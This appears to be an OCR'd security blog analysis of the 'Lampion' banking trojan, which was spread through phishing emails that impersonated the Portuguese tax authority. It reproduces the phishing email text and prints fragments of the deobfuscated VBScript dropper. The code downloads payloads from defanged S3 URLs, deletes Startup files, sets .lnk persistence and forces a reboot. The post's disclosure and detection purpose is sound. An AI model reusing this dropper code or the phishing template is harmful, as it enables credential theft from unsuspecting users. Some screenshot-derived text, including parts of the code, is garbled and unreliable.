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Last days of 2019 were the perfect time to spread phishing campaigns using email templates based on the Portuguese
Government Finance & Tax. SI-LAB noted that Portuguese users were targeted with malscam messages that reported
issues related to a debt of the year 2018.

In detail, the emails are related to the Rendimento de Pessoas Singulares — IRS (annual tax declaration), and any citizen
who has received the message can be misled by criminals — as the end of the year is the right time to discuss issues
within this context.

From portaldasfinancasB9@gov.pt ¥
Subject Emissao da factura electronica - AT: A1Z65 - 17/12/2019 10:54:00

To w

Se na3o esta visualizando cligue aqui

N AT
- autoridade
tributaria e aduaneira

Estimado Contribuinte: SITUACAO IRREGULAR

O sistema detectou e gerou um alerta sobre um débito - ano 2018 -

Este emall foi gerado durante o processo de emissao da factura

electrénica para o lado negativo e remetido para vocé de acordo

com a legislagdo em vigor. Ao mesmo tempo, indicamos que os enderegos
electrénicos dos destinatarios de e-mails sdo obtidos, exclusivamente,

de bases de dados AT e nio sao divulgados a terceiros.

Lela com atencao:

O prazo para entrega da Declaracdo de Rendimentos, de Imposto sobre o
Rendimento das Pessoas Singulares (IRS) - Modelo 3, decorre de 1 de abril a 30 de
junho. E neste periodo que sao entregues as declaragoes relativas aos rendimentos
do ano anterior e a outros elementos informativos relevantes para a sua concreta
situagao tributéria. A informagao constante das declaragdes submetidas E validada
pela Administracao Tributédria e Aduaneira (AT). Apos a entrega da declaragao, caso
receba um alerta com a designacao de Divergéncia, isso significa que AT detetou,
nos dados gue declarou, um ou mais valores de Rendimentos, Retencoes na Fonte, ejou
Dedugdes diferentes do(s) que consta(m) na base de dados.

Mantenha atualizados os seus dados pessoals no Portal das Finangas e fiabilize

0s seus contactos (e-mall e telefone) para receber informagao de apoio ao
cumprimento das suas obrigacoes fiscais e aduaneiras.

0 arquivo XML correspondente a esta factura esta no anexo.

Vocé pode verificd-lo através do site do Portal AT com o ID abaixo.
CONSULTAR DIVERGENCIA N: ATNOWAUVIB .{ 5Kb)

Atte: Direcao de Servicos de Comunicacao

 erion

digeert

17/12/2019 10:54:00 - Portal AT Resolugao:AT-NOWAUV|B

1997 - 2019 AT © Todos os direitos reservados

The malware was named ‘Lampion’ as this is the name used as part of its internal name. Regarding a broad analysis, it
looks like the Trojan-Banker.Win32.ChePro family, but with improvements that make hard its detection and analysis.

In brief, when the victim clicks on the links available in the email body the malware is downloaded from the online server.
The downloaded file is a compressed file (.zip) called: FacturaNovembro-4492154-2019-10_8.zip.

As observed, after extracting the file, three files are presented.
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FacturaNovembr FacturaNovemnbr Politica de
0-4492154-201 o0-4492154-201 Protecao de
9-10 8.pdf 9-10 8.vbs Dados - 5T-8

The file “FacturaNovembro-4492154-2019-10_8.vbs” is the first stage of the Lampion’s infection chain. This is a Visual
Basic Script (VBScript) file that is acting as a dropper and downloader. It downloads the next stage from the compromised
server available on the Internet on an AWS S3 bucket.

Phishing email is sent Zip file is downloaded from
with the malicious URL the compromised server
= :
> _—
Malscam
User's inbox Zip file with 3 files inside
—n
—_—
‘ [ TXT]
L
Obfuscated VBS file
Details are collected and N\ downloads the next stage
sent to the C2 server [:::::]
< —
- & v
C2 Server (DL

Two files
are downloaded (.exe and .dll file)

The trojan Lampion uses anti-debug and anti-vm techniques. The use of a commercial protector known as VMProtector
3.x and also specially crafted codes make it difficult to analyze both on a sandbox environment or manually.

After the VBScript file is executed, two files are downloaded: P-19-2.dll and 0.zip. The P-19-2.dll file (Lampion) is a PE
File that is executed during a VBScript execution when the affected computer starts. That file invokes the second file,
0.zip, that is a DLL file with additional code on C2 and how the trojan gets details from the user’s computers. This DLL
contains a name in the Chinese language with the following target message for Portugal: “Your group of Portuguese
suckers”.

Lampion trojan (P-19-2.dll) was sent to the VirusTotal by SI-LAB, and 12 from 71 engines classified it as malware. This is a
clear signal that most of the antivirus engines don’t detect yet the malware signature.

DETECTION DETAILS COMMUNITY

—
AhnLab-v3 \_l/ Trojan/Win32.Agent.C3574825 Avast \l/ Win32:BankerX-gen [Trj]
AVG Q, Win32:BankerX-gen [Trj] Avira (no cloud) QJ HEUR/AGEN.1038501
Dritjeb \_l/ BackDoor.Banker.62 Endgame \l/ Malicious (high Confidence)
F-Secure Q, Heuristic. HEUR/AGEMN.1038501 Microsoft QJ Trojan:Win32/Wacatac.Blml
Rising \_l/ Trojan.Generic@ML.97 (RDML:060Q5KdBP Symantec \l/ ML Attribute HighConfidence
Trapmine \_'/ Malicious.high.ml.score VBA32 \l/ TScope.Trojan.Delf

Details from the computer’s disk, opened windows, clipboard and banking credentials are gathered and sent to the C2
available on the Internet. The malware only runs if the DLL (inside the 0.zip file) is available on the same directory where it
is executed.
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Users who receive emails this nature should be aware as these files have a low detection rate and will extract sensitive
details including banking credentials from victims’ computers. For Portuguese citizens, special attention on this holiday

season as this is an ongoing target campaign.

For more details and complete analysis of this malicious campaign see the Technical Analysis below.

Technical Analysis

Several emails were received by Portuguese users about a new campaign related to the Rendimento de Pessoas
Singulares — IRS (annual tax declaration) during the last days of 2019. Two examples can be seen in Figure 1 below.

From portaldasfinancasB9@gov.pt £y

) 4

Se nao esta visualizando clique aqui

. AT
autoridade
tributaria e aduaneira

Estimado Contribuinte: SITUACAO IRREGULAR

0 sistema detectou e gerou um alerta sobre um débito - ano 2018 -

Este email foi gerado durante o processo de emissaoe da factura
electronica para o lado negativo e remetido para vocé de acordo

com a legislagao em vigor. Ao mesmo tempo, indicamos que os enderegos
electrénicos dos destinatarios de e-mails sao obtidos, exclusivamente,

de bases de dados AT e Nao sao divulgados a terceiros.

Lela com atengao:

O prazo para entrega da Declaracdo de Rendimentos, de Imposto sobre o
Rendimento das Pessoas Singulares (IRS) - Modelo 3, decorre de 1 de abril a 30 de
junho. E neste periodo que sao entregues as declaragges relativas aos rendimentos
do ano anterior e a outros elementos informativos relevantes para a sua concreta
situagao tributaria. A informacao constante das declaragdes submetidas E validada
pela Administragao Tributéria e Aduaneira (AT). Apés a entrega da declaragao, caso
receba um alerta com a designacao de Divergéncia, isso significa que AT detetou,
nos dados que declarou, um ou mais valores de Rendimentos, Retengdes na Fonte, efou
Dedugdes diferentes do(s) que consta(m) na base de dados.

Mantenha atualizados os seus dados pessoais no Portal das Finangas e fiabilize

os seus contactos {e-mail e telefone) para receber informacao de apoio ao
cumprimento das suas obrigages fiscais e aduaneiras.

0 arquivo XML correspondente a esta factura esta no anexo.

Vocé pode verific-lo através do site do Portal AT com o ID abaixo
CONSULTAR DIVERGENCIA N: ATNOWAUVIB { 5Kb)

Atte: Diregao de Servicos de Comunicagao

S oron

digeert

17/12/2019 10:54:00 - Portal AT Resolugao: AT-NOWAUV]B

1997 - 2019 AT © Todos os direitos reservados

ct Emissao da factura electronica - AT: A1Z6S - 17/12/2019 10:54:00

From Atendimento AT 84187 <logj@algharv.com=> ¢
Subject Emissao da fatura electronica. 93010

T 24

Se nao estd visualizando clique aqui

R AT
- autoridade
tributaria e aduaneira

[ : SITUAGAO AR

O sistema detectou e gerou um alerta sobre um débito - ano 2018 -

Este emall foi gerado durante o processo de emissao da factura
electrénica para o lado negativo e remetido para vocé de acordo

com a legislagao em vigor. Ao mesmo tempo, Indicamos que os enderegos
electrénicos dos destinatarios de e-mails sao obtidos, exclusivamente,

de bases de dados AT e nao sao divulgados a terceiros.

Lela com atencgao:

O prazo para entrega da Declaracao de Rendimentos, de Imposto sobre o
Rendimento das Pessoas Singulares (IRS) - Modelo 3, decorre de 1 de abril a 30 de
junho. E neste perfodo que sao entregues as declaragoes relativas aos rendimentos

do ano anterior & a outros elementos informativos relevantes para a sua concreta
situagao tributaria. A informagao constante das declaragdes submetidas E validada
pela Administragao Tributaria e Aduaneira (AT). Apos a entrega da declaragao, caso
receba um alerta com a designagao de Divergéncia, Isso significa que AT detetou,

nos dados que declarou, um ou mais valores de Rendimentos, Retencoes na Fonte, efou
Dedugges diferentes do(s) que consta(m) na base de dados.

Mantenha atualizados os seus dados pessoals no Portal das Ainangas e fiabilize
05 seus contactos (e-mail e telefone) para receber iNformacao de apoio ao
cumprimento das suas obrigagoes fiscals e aduaneiras.

0 arquivo XML correspondente a esta factura esta no anexo.

Vocé pode verific-lo através do site do Portal AT com o ID abaixo.
CONSULTAR DIVERGENCIA N: AT86897 { 5Kb)

Atte: Direcdo de Servicos de Comunicacao

 Norton

digcart

- Portal AT Resolugao:AT-30824

1997 - 2019 AT © Todos os direitos reservados

Figure 1: Two template emails used to spread the trojan Lampion.

At the first glance, just the URLs and their description are different between both templates. The URLs are responsible to

download a zip file that contains three files described below.

<3

href4"http://100.26.189.49,/PY/App.php?=Swzpz2eTxglkznh"farget="_blank">Se

n&atilde;o estdaacute; visualizando clique aqui</a></center=<br=<br>

<html=>
<!--53nn5117pbdd7rg! - ->
<head=>
<title=Portal AT - N:
26509
</title=
</head=<br=>
<body>
<img

src="https://info.portaldasfinancas.gov.pt/_layouts/15/images/portalat/logo-at.svg?=kddx3dyrwx05s60"

/=

Figure 2: URL (1) hosting the malware on the Internet (a zip file).
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Date: Tue, 17 Dec 2019 16:54:03 +8300 (+03)

X-VR-STATUS: SPAM

X-VR-SCORE: 300

X-VR-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrgedufedrvddtjedgheejucetufdoteggodetrfdotffvucfrrhhofhhilhgvmecuggftfghnshhusghstghrihgsvgdpffftgfetoffjqffuvfenuceurghilhhouhhtmecufedttdenucfjughrucefiedukeculd:

<a hr’ef:"httpsl//r’ebr’and‘1y/mm\lk36?:NWAUVJBNWAUVJBNWAUVJBNWAUVJBNWAUVJBNWAUVJBNWAUVJBNWAUVJBNWAUVJBNWAUVJB"}ar’get:"_blank")ﬁe n&atilde;o estdaacute; visualizandoe clique aqui</as</center><br><br>

<html>
<! - -NOWAUVIBNOWAUVIBNOWAUVIBNOWAUV I BNOWALVI BNOWAUV I BNOWALVI BNOWAUV I BNOWALV I BNOWAUV I BNOWALV I BNOWAUVJ BNOWALVIBNOWAUV IBNOWALVIBNOWAUV I BNOWALYIBNOWAUV JBNOWALVIBNOWAUV IBNOWALVIBNOWAUVIB! - ->
<head>
<title>17/12/2019 10:54:00 - Portal AT - N: NOWAUVIB </title>
</head><br>
<body>
<img src="https://info.portaldasfinancas.gov.pt/ layouts/15/images/partalat/logo-at.swvg?=NOWAUVIBNOWALVIBNOWALVIBNOWALVIBNOWALYIBNOWALYIBNOWALVIBNOWALVIBNOWALVIBNOWALVIBNOWAUVIB ">
<div style="text-align: left;"><br><br>
<div>

Figure 3: URL (2) hosting the malware on the internet (a zip file).

Why Lampion?

As observed, the malware icon is a “lampion”, and the original name is “Lampion”. It seems a reference to a Japanese
lampion.

Figure 4: Malware’s original name and details.

property value

file-type executable

date nfa

language Korean

code-page Unicode UTF-16, little endian
CompanyMame Zakar Japanicons Lampion
FileDescription Zakar Japanicons
FileVersion 127, 39, 35, 96
InternalMarme Japanicons Lampicn
LegalCopyright Zakar Japanicons Lampion
OriginalFilename Lampion.EXE
ProductMame Japanicons
ProductVersion 127, 35, 35, 96

Lampion trojan malware — The 1st stage

Threat name: FacturaNovembro-4492154-2019-10_8.zip
MD5: e7bdce5505ee263530dea04c2fdc661f
SHA1: d4927477b71cbf540a894cf2c5849209b64c92af

This is the zip file that contains the malware’s first stage downloaded from compromised servers online. It is a zip file, with
a low detection rate, and it contains inside 3 other files.

FacturaMovembr FacturaMovemnbr Politica de
0-4492154-201 0-4492154-201 Protecao de
9-10_8.pdf 9-10_8.vbs Dados - 5T-8

Figure 5: Available files after extracting the zip file.
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The files are as follows:

« [1] — FacturaNovembro-4492154-2019-10_8.pdf (51fbca86a499c55ce31179fc36e0d889)
» [2] — FacturaNovembro-4492154-2019-10_8.vbs (3350e74a4cfa020f9b256194eae25c12)
« [3] — Politica de Protecao de Dados — ST-8 (deb80a47496857e24c0bc57873b25707)

Only the [2] file (FacturaNovembro-4492154-2019-10_8.vbs) has malicious code capable of infecting victims’
computers.

In contrast, files [1] and [3] are harmless and are only used as a way of inducing the victims to open the VBS document —
the Lampion 1st stage.

Figure 6: Snippet from the Politica de Protecao de Dados — ST-8 file, never used
during the malware infection chain.

On the other hand, the PDF file [1] is just a PDF file with some information contained
inside, and without malicious links or activity to collect details on the victim’s computer.

BPEANL~M
X7 (

Figure 7: Object content from FacturaNovembro-4492154-2019-10_8.pdf.

im] 1 ofl Vi FacturaNovembro-4492154-2019-10_8.pdf

Seu documento anexo esta disponivel junto a este arguivo PDF.

Mensagem confidencial N®:TDG2RQSFQ3 - 18/12/2019 09:05:08

© Todos os direitos reservados.

Figure 8: Content available on PDF file FacturaNovembro-4492154-2019-10_8.pdf.
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DETECTAR IDIOMA INGLES PORTUGUES FRANCES v

(C)

& o) 151/5000 M

Figure 9: Translation from the Portuguese language to English.

-
—

INGLES FRANCES v

Your attached document is available with this PDF file.

Confidential Message On: TDG2RQSFQ3 - 12/18/2019 09:05:08
© All rights reserved.

©

0

The file states that the file to be executed is here, in the same directory of the PDF file . That message is completely
confidential, has a unique code, and the date of issuance is highlighted to create a bad feeling on the victim’s side.

Threat name: FacturaNovembro-4492154-2019-10_8.vbs (Lampion — 1st stage)

MD5: 3350e74a4cfa020f9b256194eae25¢12
SHAT1: 7f5960ffofeff30d2f4a4c1598dd22632ceealch

This file has a detection rate of 25/58 and is classified as a Trojan Agent. It is, in fact, a trojan downloader/dropper as it
downloads the next stage from the Internet and also drops a new VBS file that will be executed whenever the victim’s
computer starts. It looks like an improvement form of the Trojan-Banker.Win32.ChePro family.

2 5 \'1) 25 engines detected this file

418dbcfsf8d5ad7e16a0bb48c]e14cb269bf5bd814f0a70c3aa90ce 787136047

! FacturaNovembro-4492154-2019-10_8_original vbs
text

DETECTION DETAILS COMMUNITY
—
Ad-Aware (1) VB:Trojan Agent EIAC
Arcahit (Tj VB:Trojan Agent EIAC
AVG (‘ij SNH:Script [Dropper]
Cyren (i) VBS/Agent.TJ
Emsisoft (1) VB:Trojan.Agent EIAC ()
ESET-NOD32 (1) WBS/TrojanDownloader Agent OZ.)
FireEye (‘ij WB:Trojan.Agent.EIAC

Figure 10: VirusTotal analysis from FacturaNovembro-4492154-2019-10_8.vbs file.

Looking at the file, it is obfuscated, but in this case, the technique used by criminals was simple: just add commentaries
(junk blocks) between the lines of the malicious code to make it confused.
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BitDefender

Drveb

eScan

F-Prot

Fortinet

13.20 KB 2019-12-26 14:41:17 UTC

(1) VB:Trojan.Agent EIAC
(1) SNH:Script [Dropper]

LI,'I VB:Trojan.Agent. EIAC
\i‘) VBS.DownlLoader. 1793
(1) VB:Trojan.Agent EIAC
(1) vBSs/AgentTJ

(1) vBS/AgentEAICHr.didr
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Figure 11: First stage of the Lampion malware — obfuscated code.

After a few rounds of code cleanup (deobfuscation), the final code comes up. Before going into the detail, the high-level

diagram with the overall behavior of the file is presented.

VES downloads additional files from

o the Intemet

— |®

—_>

Victim executes the VBScript

(1st stage)

Lnk file created on Windows StartUp

.0
©

Windows is rebooted and the Ink file
executes the trojan Lampion

Figure 12: Lampion 1st stage high-level diagram.
In detail, the first stage works as described below.

« It depends on the initial victim’s action.

©
@

Files are placed on Windows
AppData.

« The VBS file downloads additional files from the Internet (the 2nd stage — the Lampion itself).
« 2 files are downloaded to the AppData Windows folder, and a new VBS file is also created with the code that will

execute the trojan every time the victim’s computer starts.

« A Ink file is created on the Windows StartUp folder to execute the trojan (a persistence technique).
« Finally, the victim’s computer is forced to reboot and the trojan malware starts its execution.

Digging into the details — Lampion 1st stage

The 1st stage has random functions to generate random names that will be used to rename the next malicious files
created on the victim’s machine. Line 27 is where the Wscript object is created that will be used to create a .Ink file on
the Windows StartUp folder. All the malware source code is commented on the next images.
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Function RandomString( ByVal strlen )

Dim str, min,
Const LETTERS =
min = 1
max = Len{LETTERS)
Randomize
For i = 1 to striLen

str = str & Mid( LETTERS, Int((max-min+1)*Rnd+min), 1 )
Next

abcdefghijklmnopgrstu

RandomString = str
Function

Random
rand = RandomString(17) & Int((max-min+1)*Rnd+min)

wdfolder = Int((

min+1)*Rnd+min)

rndvb = RandomString(11)

Dim
Dim
dim

Set

objShell
strPath
strPath2

objShell = Wscript.CreateObject("Wscript.Shell")

Const DeleteReadOnly = TRUE

Const DeleteReadOnly2 = TRUE

Figure 13: Random functions that generate random names — (1/5).

The next figure has the function to decrypt the URLs from which the 2nd stage of malware is downloaded.

Function

Dim Plaintext

Ciphertext

= Mid(Ciphertext,3,Len(Ciphertext)-4)

(t) Step 2
hertext,i,1)) + offset
Then

- maxAsc + minAsc - 1

Plaintext = Plaintext & Chr(oldAsc)

t = Plaintext

tion

shell sleeping during 3 minutes
WScript.Sleep(30000)

"All the lnk files are removed from StartUp Windows folder
On Error Resume

Set objFsO
objFs0.DeleteFile(objs

If Err Then
End If

#.1nk") , DeleteReadOnly

On Error GoTo 8

Figure 14: Decryption function used to decrypt the URLs where the next stage is available — (2/5).

Next, all the shortcuts (.Ink) files are deleted from the operating system StartUp folder (line 65).

After that, all the VBS files from the operating system StartUp folder are also removed to prevent other files can start with

the OS. A randomly named folder is created in the Windows AppData directory that will keep the malicious files.
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'All the vbs files are removed from StartUp Windows folder
On Error Resume Next
Set objFS0 = CreateObject("Scripting.FileSystemObject")
objFs0.DeleteFilelobjShell.SpecialFolders("StartUp”) & "\*.vbs") , DeleteReadOnly2
If Err Then
End If
On Error GoTo O

'Random folder is created on AppData location. That folder is composed just by numbers
Dim oFS0

Set oFS0 = CreateObject("Scripting.FileSystemObject")

oFS0.CreateFolder objShell.SpecialFolders("AppData") & "\"& randfolder

‘random files are created inside the folder with the .exe and 8.zip extension
strPath = objShell.SpecialFolders("AppData") & "\" & randfolder & "\" & rand & ".exe"
strPath2 = objShell.SpecialFolders("AppData”) & "\" & randfolder & "\" & "B.zip"

Set dtmConvertedDate = CreateObject("WbemScripting.SwbemDateTime")
strComputer = "."

'Set the default process security level with VBScript
"https://docs.microsoft.com/en-us/windows/win32/wmisdk/setting-the-default-process-security-level-using-vbscript
'obtaining details on 0S

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2"})

Set oss = objWMIService.ExecQuery("Select * from Win32_ OperatingSystem")

Set dtmConvertedDate = CreateObject("WbemScripting.SwbemDateTime")

strComputer = "."

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set oss = objWMIService.ExecQuery("Select * from Win32 OperatingSystem")

Figure 15: Some operations are performed, such as create folders on AppData and setting the default process security
level with VBScript — (3/5).

Now is time to download the 2nd stage from the Internet. Two files are obtained from 2 AWS S3 buckets.

'Download a remote file from: hxxps://fucktheworld.s3.us-east-2.amazonaws[.]lcom/8.zip
'File is saved on the AppData 8.zip file previsously created
For Each os in oss

dim ur

dim logs

logs = Decrypt("&aQ">jhjqfFi Bo%B%~\tkLYya'jL™\[{m[elh¥b~Z!$miU)es5k31i]1#* [OWHL (jc#- (FSDWHCVW\pWe; deW3msi_$TY%emc %s&MSTp™ OfxK")
dim xHttpB: Set xHttp® = createobject("Microsoft.XMLHTTP")
dim bStrm@: Set bStrm@ = createobject("Adodb.Stream")
xHttp®.0pen "GET", logs, False
xHttp0.Send
with bStrm@

type = 1

.open

.write xHttp®.responseBody

.savetofile strPathz, 2
end with

'Another files is downloaded

'This file will be replace the exe file created previsously on the AppData folder

ur = Decrypt("{PL"7j\j9f)is0D%0%aiXZ~]E~\i#k* +ZW"(ell -ZNe™]5";i}Za¥m'Y/wYH$6im)6$tksiw#| [dwNi)
ja#* (~$oWz c+Wip@e6d2wWam. ixsuYde&chs{F,#8'9/T#F (15 ZdbrbY#")

next

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
®Http.Open "GET", ur, False

xHttp.Send

with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile strPath, 2
end with

Figure 16: Trojan 2nd stage is downloaded from two AWS S3 buckets — (4/5).

The URLs are encoded with the following strings:

1. logs = Decrypt("&aQA>jhjqfFi 00%B%~\tkLYya'|L\[{m[e1hYb~Z!$miU)e$5k3il#* [OWHi(jc#-
(FSbWHcVW\pWe;deW3m$i_$TY%emc %s&M$TpA_OfxK")

2. ur = Decrypt("{PLA7}\j9f)isOD%9%aiXZ~|EMi#k*_+ZWA(eU_-ZNe?|57i3ZaYm'Y /wYH$6im)6$Stksiw# [dWNi)ja#*
(~$oWzc+Wip@e6d2W&m.ix$uYde&ch%{F,#8'9/T#F($ ZdbrbY#")

https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/#.Xh. ..



https://seguranca-informatica.pt/wp-content/uploads/2019/12/14-2.png
https://seguranca-informatica.pt/wp-content/uploads/2019/12/15-1.png

1/6/2020 Targeting Portugal: A new trojan 'Lampion' has spread using template emails from the Portuguese Government Finance & Tax

To get the result of plain-text URLs, SI-LAB is keeping the decryption code available on GitHub. The result is as follows.

Module VBModule
Main()
Dim Ciphertext
Dim 1
Dim oldAsc
Ciphertext
Dim Decrypt
Const offset
Const minAsc
Const maxAsc

Dim Plaintext

Ciphertext (Ciphertext,3, (Ciphertext)-4)
i (Ciphertext) Step
oldAsc (id(ciphertext,i,1)) + offset

oldAsc = maxAsc
oldAsc - oldAsc - maxAsc + minAsc

Plaintext = Plaintext (oldAsc)

Decrypt Plaintext
Console.WriteLine(Decrypt)

Module

input
tral, PublicKeyToken=null' saved successfully to '/home/a.out'.

...Program finished with

'a, Versi B Culture=neutral, PublicKeyToken=null' saved succ y '/home/a.out’.
O errors

Compilation s

Compilation tc

Figure 17: Clean URLs as a result of the decrypted function output (available here).
As observed, the output shows us two AWS-hosted addresses that contain two malicious files, namely:

1. hxxps[:]//fucktheworld.s3.us-east-2.amazonaws[.Jcom/0.zip
2. hxxps[:)//sdghsuidhoidoghsdc19c.s3.us-east-2.amazonaws[.Jcom/P-19-2.dll

The 0.zip file is a DLL with additional code loaded by PE File P-19-2.dll during its execution. It is the PE file that will be
executed each time the infected machine starts. This file is overly large (32 MB in size), with a lot of trash to make it
difficult to detect.

Continuing to the last part of the 1st stage, the VBS file, in the last phase a VBS file is created in the AppData folder
(C:\Users\user\AppData\Roaming\lkuuxelnxqy.vbs).

Also, a .Ink is created in the Windows StartUp folder (C:\Users\usen\AppData\Roaming\Microsoff\Windows\Start
Menu\Programs\Startup\lkuuxelnxqy.Ink) which will then execute the next malware stage (P -19-2.dll).
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'A wbs fil
set objFs0
outFile

Set objFile

hortcut (MeuPau
ath

at startup the EXE file.

Figure 18: VBS file is executed and the operating system is restarted — (5/5).

Finally, WScript.Shell runs the created VBScript file, the victim’s computer is forced to restart, and the malware itself (P-19-

2.dll) runs on the infected machine.

Lampion Trojan — 2nd Stage (after the persistence)

Threat name: P-19-2.dll
MD5: 18977¢78983d5e3f59531bd6654ad20f
SHA1: 941d03715af25f7bfedaaf86081ebc2046b4b019

From the first submission we noticed that the threat was recent and unique in VirusTotal.

‘ \_‘,‘ 12 engines detected this file

eb3f2be571bb6b93ee2e0b6180c419e9febfdb6 57592 44ea04488be7coi5cae2
P-19-2.dll
peexe
Community
DETECTION DETAILS COMMUNITY
AhnLab-V3 (D) Trojan/Win32.Agent.C3574825
AVG (D) win32:BankerX-gen [Trj]
Drweb \_‘, BackDoor.Banker.62
F-Secure (D) Heuristic. HEUR/AGEN.1038501
Rising (D) Trojan.Generic@ML.97 (RDML:06Q5KdEP...
Trapmine (1) Malicious.high.ml.score
Acronis () Undetected

Figure 19: Lampion VirusTotal detection rate (P-19-2.dll).

This file first appears as a DLL, but it is a PE File. As can be seen from Figure 15 — line 86, it is written directly to disk as

an executable.

As noted, 12 of 71 AV engines classified the file as malware. The file is extremely large (32 MB), with a lot of junk allowing,

thus, to evade antivirus engines as a result.
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The malware’s protection

As explained below, malware is protected by VMProtect 3.x which makes it difficult to analyze even through a manual
approach.

VMProtect protects code by executing it on a virtual machine with non-standard architecture that makes it extremely
difficult to analyze and crack the software. Besides that, VMProtect generates and verifies serial numbers, limits free

upgrades and much more.

After some rounds, we found that it is protected with the VMProtect 3.x .

Detected: VYMProtectwv3.x

Possible: VYMProtect Deteccion Heuristica S— VMProtect()[]

Contact:  http//vmpsoft.com compiler Embarcadero Delphi(XE2-XES)[-]
Lazt Update: Jaruary 12 2017 linker Turbo Linker{2, 25%,Delphi)[EXE32]

Figure 20: Lampion protected with the VMProtect 3.x.
VMProtect has 3 protection modes: Mutation, Virtualization, and “Ultra” (both methods combined).

Mutation does what it says it does: it mutates the assembly code to make automated analysis of it harder. The

resulting mutated code varies drastically per compilation.

On the other hand, Virtualization translates the code into a special format that only a special virtual machine can

run. It then inserts a “stub” function to call the VM where the actual code was supposed to be ran.

Another detail is two sections identified in PE File (vmp0 and vmp1 ), which contains the packed binary code which will
later be devirtualized at runtime, and also has the EP (entry point) where the binary will be executed first.

Note: Details about the VMProtector disassemble will not be displayed in this analysis as it is commercial
software for packing and protecting executable files.
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1.5e+07

2e+07  2.5e+)

Figure 21: Malware sections and high entropy of section vmp1.

As shown, there are two sections in binary (vmp0 and vmp1) with high entropy that are known as a result of VMProtector.

Also, the EP is outside of the standard location. Now it is on: .vmp1.

PE Header ("

Section1(".

Section2(".data l('S 869067)

section3(".bss)("07)

chon4{' idata”)("5.21239%)
didata™

n

i

chonu(' data”)("1.907047)
57)(0%)

In detail, the malware was developed in Delphi. The IDE Embarcaredo was used to support its developing.

type name file-offset
String-table 4075 000485718
String-table 4076 0:00435824
String-table 4077 0x00425C44
String-table 4078 0:00425014
String-table 4079 0x00485FA0
String-table 4080 0x00436198
String-table 4081 0x00486560
String-table 4082 000486920
String-table 4083 0:00436D38
String-table 4084 0x00487108
String-table 4085 0x004874C4
String-table 4086 0:004878F4
String-table 4087 0x00487E0D
String-table 4088 0x0048817C
String-table 4088 0:00488530
String-table 4090 0:0048823C
String-table 4091 0x00488A0C
String-table 4092 0:00488AC4
String-table 4093 0x00488D5C
String-table 4094 0x00489194
String-table 4095 0:00489408
String-table 4096 0x004297B4
Redata ACGL 0x00489ACC
Redata ACHINT Ox0048AT8C
Redata AWFONT 0x00434B34
Redata DVCLAL 0x004B31E0
Redata GEO 0x004B31F0
Redata PACKAGEINFO 0:00570700
Redata PLATFORMTARGETS  0x00571454
Redata sC 000571458
Redata sD 0:00571A44
Redata SE 0:00572010
Redata SF 000572324
Redata 0:00572EAC
0:00573
Redata TPATHDIALOGFO Ox0202EEAL
Redata TSCALCFORM 0:0202F498
Redata TSCOLORDIALOG...  Ox02030E1C
Redata TSPOPUPCALEND 0x020323D0
Cursor-group CRASPIPETTE 0:02032590
Cursor-group 32761 0x02032544
Cursor-group 32762 0x020325B8
Cursor-group 32763 0x020325CC
Cursor-group 32764 0x020325E0
Cursor-group 32765 0x020325F4

signature non-standard  size (29292174 b...
String-table - 1036
String-table - 288
String-table - 208
String-table - 652
String-table - 504
String-table - 968
String-table - 960
String-table - 1048
String-table - 976
String-table - 956
String-table - 1072
String-table - 1292
String-table - 892
String-table - 348
String-table - 1036
String-table - 208
String-table - 184
String-table - 664
String-table - 1080
String-table - 236
String-table - 732
String-table - 792
PNG - 3263
PNG - 933
unknown - 165548
Delphi-Config - 16
unknown - 775648
Delphi-Config - 3204
unknown - 2
PNG - 1514
PNG - 1481
PNG - 788
PNG - 2052
PNG 2748
—
Delphi-Form 1521
Delphi-Form - 6532
Delphi-Form - 5556
Delphi-Form - a18
Cursor-group - 20
Cursor-group - 20
Cursor-group - 2
Cursor-group - 20
Cursor-group - 20
Cursor-group - 20

Figure 22: Resources from the Lampion trojan malware.

file-ratio (86.92%)

0.00 %

entropy  language (4)
B60A4EBB06EDDCAODF34ACB396F17B16A  3.301 neutral
AAIFEEG385FA330EC3BTEGBABFAESACE 3.466 neutral
AY2AT2ABBAFS1TE1F5850571A104C58F 3.426 neutral
EG49BAZECTI03D44ECBEEFETE3323309A 3332 neutral
ODF054925DC26C2TEAC2F3AFZSFAFBAR  3.358 neutral
314BC6G4BFIB24AAABE12A0BO0BO13AD  3.284 neutral
D1F2259A232F90DTA4DCAF33A2130A50 3.292 neutral
54B1ETC461D2E623621DAD185F4530D7 3.269 neutral
560DE6500322A1EBBATE1195FT35351C 3324 neutral
DBEB5712A4DB48F634E41E2D2E3CEDCS 3506 neutral
91F82CFB4FE390F2DAD159ECICDBITDF 3.268 neutral
A0B090A3EECIA3BS256F66E543D002F 3.253 neutral
DYE4327TADAIB20EBAGSSDTABTDETIFTD  3.243 neutral
3ED6472098A90B9818D0F7ETFIADEICS 3310 neutral
FTCTAGEOE31B5E30F43C25CBER000BG1 3329 neutral
2C443E7460778069A108BFABESE38BF4 3.202 neutral
AA1E6314536C88CFANM6TBFSBOCCODDT 3349 neutral
CT20CBG19E54E5FTF444TBAB5CTICS5E 337 neutral
1CTFO03COAEICE0A300EG2A3E01EEADT 3329 neutral
C9582D4CD7B11663C9933E73663021C7 3317 neutral
69B75CCA3E1FFOFDFFD1F62573F83C04 3.308 neutral
81BB45E9C4295DA169FB24DT5ATEE113 3217 neutral
3617368B179E75DRB3EDEB3A024C30A2 7.886 English Uni...
6891D548F24CF82A453FECCIECEBITTE 7.584 English Uni...
B06371F281FEEGB241D60582AE9369B9 6.707 English Uni...
DBU9DABATISTFBFICTEZ631CT50963A8  4.000 neutral
D2E0483A86ACI0BD6DO0FBD095BBDD2F  5.827 English Uni...
TBAFOCEAS43738783ATIFEACER49116A 5.425 neutral
23DAAD3IDSEGDBASD43ATOCAABTDIBICE  1.000 English Uni...
AB349A82545TF75D00FETIAIB59B3268 7.809 English Uni...
09916373164346133005A01754337673 7.758 English Uni...
B1B71BEFBS1ABT1CTIACEBBE534937FEE 7519 English Uni...
AT30043AE5D2DAL1B16343A63CETATIRY  7.666 English Uni..
